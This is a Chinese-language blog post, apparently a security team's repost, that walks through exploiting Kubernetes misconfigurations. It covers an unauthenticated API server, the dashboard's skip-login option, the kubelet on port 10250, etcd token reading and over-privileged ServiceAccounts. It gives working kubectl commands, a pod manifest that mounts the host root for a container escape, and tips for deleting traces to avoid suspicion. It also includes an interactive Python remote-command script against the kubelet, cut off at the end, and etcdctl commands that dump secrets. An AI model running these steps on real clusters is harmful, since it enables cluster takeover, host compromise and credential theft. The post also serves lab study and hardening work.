api-server未授权漏洞
介绍
通过apiserver可以管控整个集群。默认情况,Kubernetes API Server提供HTTP的两个端口:
1.本地主机端口 (高版本已弃用)
• HTTP服务
• 默认端口8080,修改标识–insecure-port
• 默认IP是本地主机,修改标识—insecure-bind-address
• 在HTTP中没有认证和授权检查
• 主机访问受保护
2.Secure Port
• 默认端口6443,修改标识—secure-port
• 默认IP是首个非本地主机的网络接口,修改标识—bind-address
• HTTPS服务。设置证书和秘钥的标识,–tls-cert-file,–tls-private-key-file • 认证方式,令牌文件或者客户端证书
• 使用基于策略的授权方式
如果我们能够调用apiserver,就相当于接管了集群,那么参考docker的api未授权,我们就可以创建一个挂载了宿主机的目录的容器,然后进行逃逸,拿到宿主机权限。
环境搭建
本来api-server是存在两个api-sever端口的,但这里因为我当前环境的k8s版本过高,insecure-port已经被弃用了,所以无法在当前环境搭建8080端口的未授权。
因此这里搭建环境是通过将匿名用户system:anymouse给绑定到"cluster-admin"用户组中,从而实现配置不当导致的未授权。如图,错误的角色绑定,导致存在未授权漏洞。
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: eviltest
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
apiGroup: rbac.authorization.k8s.io
kind: User
name: system:anonymous
环境的恢复,也很简单,只需要把这个错误绑定给删掉就行了。
漏洞利用
api未授权寻找
如果apiserver直接暴露在公网上,那没什么好说的,直接就冲。但是如果目标apiserver不暴露在公网上呢?这种情况下,我们需要先打入内部,想办法获取目标容器和node的权限。
当然,通常情况下我们是只能拿到容器权限的。但是不要紧,在容器内部可以查到apiserver的地址,需要注意的是该地址只是集群的内部虚拟地址,并非nodeip。然后就是代理进去即可。
集群信息收集
首先,收集节点看看我们能拿下哪些主机,可以看到,目标存在两台宿主机,一个master和一个work,我们这里两台都想拿下。
查看集群信息,可以知道有哪些服务,服务名称。
通常api-server都会在master节点上部署,所以定位api-server的位置也可以找到master
PS:master的概念并非是一台机子。有时候有些集群的各个master组件可能不会部署在同一台机子上,它们可能被分布在多个机器上提供服务。这时候把这些master组件加起来才叫master。
通常我们比较关心的是api-server这个组件,因为这是集群的大脑。
如果我们拿下的是其中一个pod的话,直接查看env变量就行
允许master参与部署pod节点
因为master节点默认情况下是不允许部署应用的,所以master节点需要多加一步操作,而work节点就不需要。
kubectl -s "https://192.168.5.174:6443" describe node <master-name> | grep Taints #查看节点master是否允许部署pod
kubectl taint nodes <master-name> node-role.kubernetes.io/master- #允许master节点参与部署应用
kubectl taint nodes <master-name> node-role.kubernetes.io/master=true:NoSchedule #禁止master节点部署应用
部署挂载宿主机目录的应用
到这里也很简单,就是简单的部署一个挂载宿主机的应用,然后进入应用就可以了。
PS:这里其实我们可以查看它有的镜像,然后用这个镜像,这样就不需要目标去浪费大量时间去pull镜像了(或者说目标不出网没法pull镜像的情况)。
这里我们直接用后面的images id作为镜像name创建pod就好了。通过deployment能看到具体的镜像名称,pod则看不到。
而因为通常部署应用的时候,是根据负载均衡去部署的,所以如果我们不指定的话,可能会乱部署。
所以我们用以下yaml,这里代表在master节点上部署我们的应用。尽量用轻量的原始镜像。
kubectl -s "https://192.168.5.174:6443" create -f /home/momo/桌面/attack.yaml
apiVersion: v1
kind: Pod
metadata:
name: evil
spec:
nodeName: master #部署在master节点
containers:
image: nginx #简单的镜像
name: container
volumeMounts:
mountPath: /test #把系统的根目录挂载到容器的这个目录下
name: test-volume
volumes:
name: test-volume
hostPath:
path: /
途中可以使用命令查看pod状态 以防各种问题导致容器一直没起起来而不知道。
kubectl -s "https://192.168.5.174:6443" describe pod evil
成功部署后,发现确实是部在了master上
进入容器,获取shell
成功部署后,接下来的就是漏洞的利用了,这里就很简单了,和docker挂载差不多。
kubectl -s "https://192.168.5.174:6443" exec -it evil /bin/bash #接下来就可以写计划任务、公私钥直接获取权限了
打扫战场
拿到权限后,把我们起的pod给删了。避免起疑
kubectl -s "https://192.168.5.174:6443" exec -it evil /bin/bash
Kubernetes-dashboard未授权
介绍
Dashboard 是基于网页的 Kubernetes 用户界面。你可以使用 Dashboard 将容器应用部署到 Kubernetes 集群中,也可以对容器应用排错,还能管理集群资源。你可以使用 Dashboard 获取运行在集群中的应用的概览信息,也可以创建或者修改 Kubernetes 资源 (如 Deployment,Job,DaemonSet 等等)。例如,你可以对 Deployment 实现弹性伸缩、发起滚动升级、重启 Pod 或者使用向导创建新的应用,其实就是web管理端,本质上也是对api-server的调用。
环境搭建
kubernetes dashboard的未授权其实分两种,一种是在原本的dashboard中,本身就存在着一个不需要登录的http接口,但是这个接口本身并不会暴露出来,所以如果这个接口被暴露在外,就会dashboard的未授权。
另一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口https的dashboard页面可以跳过登录。
https跳过认证环境搭建认证
这里搭建非常的简单,只需要在配置文件中添加上一行 --enable-skip-login即可。因为Kubernetes使用RBAC(Role-based access control)机制进行身份认证和权限管理,不同的serviceaccount拥有不同的集群权限。
我们点击Skip进入dashboard实际上使用的是Kubernetes-dashboard这个ServiceAccount,如果此时该ServiceAccount没有配置特殊的权限,是默认没有办法达到控制集群任意功能的程度的。
但有些开发者为了方便或者在测试环境中会为Kubernetes-dashboard绑定cluster-admin这个ClusterRole(cluster-admin拥有管理集群的最高权限)。所以我们还需要将ServiceAccount绑定到cluster-admin中
这里是将kubernetes-dashboard命名空间中的serviceaccount账号给加到cluster-admin中。kubectl apply -f xxx.yaml
kubectl delete -f xxx.yaml 或者 kubectl delete eviltest #删除掉也很简单。apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBinding
metadata:
name: eviltest
namespace: kube-system
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
kind: ServiceAccount
name: kubernetes-dashboard
namespace: kubernetes-dashboard
http接口暴露环境搭建(未成功)
首先,需要修改dashboard 的deployment,将9090端口给映射出来(镜像中本身就存在,只是默认不开放暴露出来。)
前面将9090给映射出来后,还需要暴露到外网中,这里修改Service同时也需要加name属性。
但是我在后续访问的时候,却无法访问,不知道是dashboard版本太高被弃用了还是怎么回事。
漏洞利用
这里通过dashboard没法执行kubectl命令,但实际在dashboard中你点开一个对象的配置文件进行修改提交就相当于kubectl的create和apply,而decribe等查看信息的命令,在dashboard中就相当于点开对象的配置文件。
所以我们第一步还是一样的,直接先去找谁是master,然后再修改master的配置文件,让它允许master节点部署。然后就是直接启特权容器挂载目录拿shell。
查询master(或者没法查到)
老样子,查看role属性或者apiserver的所在宿主机。
允许master部署应用
虽然这里我们没法用kubectl,但前面讲了,kubectl的所有操作本质上就是操作yaml文件,因此这里也是只需要修改yaml文件即可。找到目标节点的配置文件,然后删除掉这部分即可。
部署特权容器拿shell
kubelet api 10250未授权
简介
kubelet是kubernetes集群中真正维护容器状态,具体“干活”的组件。
每个节点上都运行一个 kubelet 服务进程,默认监听 10250 端口,接收并执行 master(api-server) 发来的指令,管理 Pod 及 Pod 中的容器。通过该端口可以访问和获取node资源及状态。
kubectl命令查看pod的日志和执行cmd命令都是通过kubectl的10250端口的。
简单的理解:如果说api-server未授权是域控的未授权,那么kubelet的未授权就相当于域内一台机子的未授权。
环境搭建
允许匿名登录(需要注意,这个是到目标宿主机上改,并且只作用于当前机子)
首先,先修改配置文件允许匿名登录
vim /var/lib/kubelet/config.yaml
但这样仅仅只是开启了匿名登录,匿名账号是没有权限的,因此我们还需要设置权限。
修改匿名用户权限
和前面api-server中的一样,这里把匿名组给绑定到cluster-admin中就可以了。
使用下述命令或者apply 下述yaml
kubectl create clusterrolebinding eviltest --clusterrole=cluster-admin --user=system:anonymous
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: eviltest
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
apiGroup: rbac.authorization.k8s.io
kind: User
name: system:anonymous
漏洞利用
通过前面的介绍,我们得知kubelet只能管控当前宿主机,并且只存在以下接口。因此通过这个未授权,我们能够得到的权限很有限。
• /pods、/runningpods
• /metrics、/metrics/cadvisor、/metrics/probes
• /spec
• /stats、/stats/container
• /logs
• /run/、/exec/, /attach/, /portForward/, /containerLogs/
获取pod信息
首先我们通过pods这个接口获取到这个节点上的pod,然后指定目标pod执行任意命令即可。如图。这里pod名为php-deployment-699b9d5c7f-k66jq,命名空间php,标签php
可以通过筛选关键字securityContext找到特权容器。
执行命令
通过前面获取到的信息,向接口/run/<namespace>/<name>/<labeles> 发送post请求,参数cmd,则可以执行任意命令
import re
import json
import argparse
import requests
requests.packages.urllib3.disable_warnings()
def exp_go(ip,port):
headers={
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat",
"content-type":"application/x-www-form-urlencoded"
}
try:
r=requests.get('https://'+ip+':'+port+'/pods',headers=headers,verify=False,timeout=10)
info=json.loads(r.text)
except:
return False
for i in range(0,len(info["items"])):
try:
namespace=info["items"][i]["metadata"]["namespace"]
name=info["items"][i]["metadata"]["name"];
k8s_app=info["items"][i]["metadata"]["labels"]["k8s-app"]
url="https://"+ip+":"+port+"/run/"+namespace+"/"+name+"/"+k8s_app
RCE(url,headers)
except:
pass
def RCE(url,headers):
while(1):
cmd=input("命令:")
data={
"cmd":cmd
}
r=requests.post(url=url,headers=headers,verify=False,timeout=10,data=data)
print("===========命令执行结果=============")
print(r.text)
print("====================================nn")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='')
parser.add_argument('-u', type=str, help='ip:127.0.0.1')
parser.add_argument('-p', type=str, help='端口:10250')
args = parser.parse_args()
result=exp_go(args.u,args.p
etcd数据库未授权,读取token
简介
https://zhuanlan.zhihu.com/p/94685947https://blog.csdn.net/boling_cavalry/article/details/88958242
etcd是一个分布式一致性键值存储系统,用于共享配置和服务发现。
它在kubernetes中主要用于存储所有需要持久化的数据。
比如一些账号的token等都是存储在这的。其默认监听了2379等端口,如果2379端口暴露,加上未授权就可能造成token等信息泄露。
k8s中简单的访问etcd
ETCD V2和V3是两套不兼容的API,K8s用V3,所以我们需要先通过环境变量设置API V3:
export ETCDCTL_API=3
其次因为我们这里是用kubeadm部署的etcd,所以在访问的时候相当于远程访问,是需要带上证书的,默认会把CA根证书和签发的Server证书放在/etc/kubernetes/pki/etcd目录下。
所以我们访问的命令是:
etcdctl --endpoints 127.0.0.1:2379 --cacert=ca.crt --cert=server.crt --key=server.key endpoint health
当然,我们可以加入alias环境变量,这样就不需要每次都带上那么长的证书命令了。
alias etcdctl='etcdctl
--key=/etc/kubernetes/pki/etcd/server.key
--cert=/etc/kubernetes/pki/etcd/server.crt
--cacert=/etc/kubernetes/pki/etcd/ca.crt
--endpoints https://127.0.0.1:2379
环境搭建
理论上我们只需要修改这个参数即可。但是我修改了也一直没法生效。不知道什么情况。因为这里没成功部署环境,所以用带证书的操作来假装未授权。
漏洞复现
未授权访问流程:
-
设置etcdapi版本,检查是否正常链接 etcdctl endpoint health
-
读取 token
-
通过 token 认证访问 API-Server 端口 6443,接管集群
连接etcd
设置alias,方便操作
export ETCDCTL_API=3
读取数据
这里如果想获取集群的普通数据的话,是需要解码的,普通数据因为性能要求都经过了编码,但是我们还是能够看到一部分信息的。
如果想要解码,参考文章https://zhuanlan.zhihu.com/p/94685947
而这里我们要获取的集群token数据只用了base64编码,所以我们读取是不需要特别的解码的。
etcdctl get / --prefix --keys-only | grep /secrets/ #列出数据库中的secrets
etcdctl get /registry/secrets/kube-system/service-account-controller-token-ht74f
使用token访问api-server
这里需要注意,不是所有的token都有权限的,比如我这里的这个token就没有权限,加上我没创建一个有权限的账号,所以我估摸着上面列出凭据没一个能有权限去操控api-server。
kubectl --insecure-skip-tls-verify -s https://192.168.5.174:6443/ --token="" -n kube-system get pods
Service Account高权限
简介
https://blog.csdn.net/weixin_37337210/article/details/112757500
ServiceAccount是给运行在Pod的程序使用的身份认证,Pod容器的进程需要访问API Server时用的就是ServiceAccount帐户;
ServiceAccount仅局限它所在的名称空间,每个名称空间创建时都会自动创建一个默认服务帐户;创建Pod时,如果没有指定服务帐户,Pod重新使用默认服务帐户但是这里需要明白Service Account并非是一个账号,而是一种账号。
并且ServercAccount账号是按命名空间进行划分的,通常一个pod如果不指定它的serveraccount账号的话,它就会默认使用这个命名空间下名为default的serviceaccount账号。
漏洞搭建
因为这个账号的权限过低,所以我们是没办法使用该账号去调用api-server的,但是如果管理员错误的设置了它的权限,那么我们就可能能够利用该账号访问api-server。
首先,前面讲了,如果pod在创建的时候不指定serviceaccount的话,就会默认使用当前命名空间下的default账号。这里我们先查看php这个命名空间的serviceaccount,有且只有一个(只要你不主动加,就只有一个)
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: eviltest
namespace: kube-system
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
kind: ServiceAccount
name: default
namespace: php
漏洞利用
首先,这个账号的证书被挂载在/run/secrets/kubernetes.io/serviceaccount目录下
我们这里通过cdk就可以快速判断这个账号是否具备高权限。然后进行后续利用。后续的利用其实就是调用api-server干你想干的事了。也可读取token去访问api-server看看有没有权限。
原文始发于微信公众号(观澜安全团队):k8s-kunbernetes配置不当漏洞利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论